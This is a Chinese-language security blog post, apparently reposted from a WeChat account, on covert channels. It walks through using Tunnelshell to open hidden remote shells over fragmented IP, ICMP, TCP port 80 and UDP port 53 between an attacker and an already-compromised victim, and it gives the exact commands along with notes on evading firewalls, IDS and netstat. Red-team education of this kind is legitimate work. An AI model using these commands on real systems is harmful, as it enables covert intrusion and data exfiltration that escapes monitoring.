不为人知的隐蔽通道:隐藏的网络

admin 2024年11月22日16:34:35评论34 views字数 3026阅读10分5秒阅读模式
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
通常,黑客使用隐藏网络来逃避防火墙和 IDS 等。在这篇文章中,您将了解如何通过不可检测的网络从目标机器窃取信息。这种类型的网络被称为隐蔽通道,对于任何网络监控设备/应用程序和网络管理员来说,它看起来都是普通流量。它可以被视为隐写术,但它并不完全是隐写术。两个端点用户可以使用隐蔽通道进行网络管理员无法检测到的通信。
红队成员在红队行动中通过合法网络使用隐蔽通道进行数据泄露,数据泄露是两个端点之间秘密共享数据的过程。

目录

什么是隐蔽通道
  • 隐蔽通道类型
  • 使用 Tunnelshell 进行隐蔽通道攻击
  • 什么是 Tunnelshell
  • 隐蔽 ICMP 通道
  • 隐蔽 HTTP 通道
  • 隐蔽 DNS 通道

隐蔽通道是什么?

隐蔽一词的意思是“隐藏或不可检测”,通道是“通信模式”,因此隐蔽通道表示不可检测的通信网络。这使得管理员或用户几乎无法通过秘密通道检测到传输。了解加密通信和隐蔽通信之间的区别非常重要。在隐蔽通信中,数据流被未经授权的一方篡改和持久化。但是,加密通信无法通过加密在两个端点之间传输的数据来隐藏通信的事实。

隐蔽通道类型

存储隐蔽通道:通过修改“存储位置”进行通信,允许一个进程直接或间接地写入存储位置,并允许另一个进程直接或间接地读取该存储位置。

定时隐蔽通道——执行影响接收器“观察到的实际响应时间”的操作。

注意:众所周知的 Spectre 和 Meltdown 使用系统的页面缓存作为窃取数据的隐蔽通道。

Specter 和 Meltdown 攻击的工作原理是诱骗您的计算机缓存特权内存,并通过错误计算的推测执行、乱序执行中缺乏特权检查以及页面缓存的强大功能。一旦访问特权内存,处理器就会缓存信息,并且处理器能够从缓存中检索它,无论它是否是特权信息。

使用 Tunnelshell 进行隐蔽通道攻击

几乎可以使用任何协议来创建隐蔽通道。绝大多数隐蔽通道研究都基于第 3 层(网络)和第 4 层(传输)协议,例如 ICMP、IP 和 TCP。第 7 层(应用程序)协议(例如 HTTP 和 DNS)也经常使用。这种机制用于传递信息而不会引起网络防火墙和 IDS 的警觉,而且 netstat 也无法检测到。

什么是 tunnelshell?

Tunnelshell 是一个用 C 语言编写的程序,适用于 Linux 用户,采用客户端-服务器模式。服务器打开一个 /bin/sh,客户端可以通过虚拟隧道访问。它支持多种协议,包括 TCP、UDP、ICMP 和 RawIP。此外,数据包可以分段以避开防火墙和 IDS。

让我们通过实际来了解更多细节。

要求

服务器(Kali Linux)

客户端(Ubuntu18.04)

您可以从这里下载隐蔽通道工具(Tunnelshell)

这里,我假设我们已经通过 c2 服务器获得了受害者的机器会话。现在我们需要创建一个隐藏的通信通道以进行数据泄露,因此,在两个端点上都安装 tunnelshell。

下载后,提取文件并进行编译,如下所示:

tar xvfz tunnelshell_2.3.tgzmake

不为人知的隐蔽通道:隐藏的网络

同样,在另一个端点(受害者的机器)重复相同操作,完成后,在终端中执行以下命令,为服务器(攻击者)打开通信通道。

sudo./tunneld
默认情况下,它会发送碎片数据包,该数据包在目的地重新组装以逃避防火墙和IDS。
不为人知的隐蔽通道:隐藏的网络

现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。

语法:./tunnel -i <会话 id (0-65535)> -d <发送数据包的延迟> -s <数据包大小> -t <隧道类型> -o <协议> -p <端口> -m <ICMP 查询> -a <ppp 接口> <受害者的 IP>

./tunnel -t frag 10.10.10.2
frag:它使用 IPv4 碎片数据包来封装数据。当某些路由器和防火墙(如 Cisco 路由器和默认 Linux 安装)收到没有第四层报头的碎片数据包时,即使它们有拒绝它的规则,它们也会允许它通过。正如您所看到的,它已成功连接到 10.10.10.2,我们将访问受害者机器的 shell。
不为人知的隐蔽通道:隐藏的网络正如我所说,如果您使用 netstat 检查网络静态信息,那么您将不会观察到任何 tunnelshell 的进程 ID。从下图中,您可以观察到,借助ps命令,我已检查了 tunnelshell 的进程,然后尝试通过netstat检查其进程 ID 
ps |grep .tunneld netstat –ano

不为人知的隐蔽通道:隐藏的网络

让我们使用 Wireshark 查看 10.10.10.1(攻击者的 IP)和 10. 10.10.2(受害者的 IP)之间生成的网络流量。两个端点之间的网络流量看起来很普通,但如果监控正确,那么网络管理员可以嗅探数据包。您可以观察到,Wireshark 捕获了隐蔽流量并嗅探了两个端点设备之间传输的数据。

不为人知的隐蔽通道:隐藏的网络

隐蔽 ICMP 通道

我们知道 Ping 是使用 ICMP 通信,使用 icmp echo request 和 icmp echo reply 查询在两个主机之间建立连接,因此执行以下命令:

sudo ./tunneld -t icmp -m echo-reply, echo

不为人知的隐蔽通道:隐藏的网络

现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。

./tunnel -t icmp -m echo-reply,echo 10.10.10.2

您可以观察到,它成功连接到 10.10.10.2,并且攻击者能够访问受害者机器的 shell。

不为人知的隐蔽通道:隐藏的网络

同样,如果您通过 Wireshark 捕获流量,那么您会注意到 ICMP 回应请求和回复数据包正在两个端点之间传输。如果您尝试分析这些数据包,那么您将能够看到哪种有效负载以 ICMP 数据的形式传输。

不为人知的隐蔽通道:隐藏的网络

隐蔽 HTTP 通道

它无需使用三次握手即可建立虚拟 TCP 连接。它不绑定任何端口,因此您可以使用另一个进程已经使用的端口,因此请执行以下命令:

sudo ./tunneld -t tcp -p 80,2000

不为人知的隐蔽通道:隐藏的网络

现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。

./tunnel -t tcp -p 80,2000 10.10.10.2

您可以观察到,它成功连接到 10.10.10.2,并且攻击者再次能够访问受害者机器的 shell。

不为人知的隐蔽通道:隐藏的网络

另一方面,如果您考虑网络流量,那么您会注意到在源和目标之间建立的 TCP 通信没有三次握手。

不为人知的隐蔽通道:隐藏的网络

隐蔽 DNS 通道 

为了建立DNS隐蔽通道,我们需要在两个端点机器上运行UDP隧道模式。因此,在受害者的机器上执行以下命令:

sudo ./tunneld -t udp -p 53,2000

不为人知的隐蔽通道:隐藏的网络

类似地,在你的(攻击者)机器上执行以下操作来连接隧道。

./tunnel -t udp -p 53,2000 10.10.10.2

不为人知的隐蔽通道:隐藏的网络

正如您在此处看到的,DNS 格式错误的数据包包含在两个端点机器之间传输的数据。

不为人知的隐蔽通道:隐藏的网络

结论:隐蔽通道在数据泄露时不发送加密数据包,因此很容易被嗅探,网络管理员可以轻松进行数据丢失和风险管理。

欢迎关注“三沐数安”,请分享给更多的网安爱好者,大家一起研究网络安全技术。三沐专注于数据安全建设和网络安全建设,解决您身边的网络安全问题,成为您的安全好帮手

原文始发于微信公众号(三沐数安):不为人知的隐蔽通道:隐藏的网络

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月22日16:34:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不为人知的隐蔽通道:隐藏的网络http://cn-sec.com/archives/3424998.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息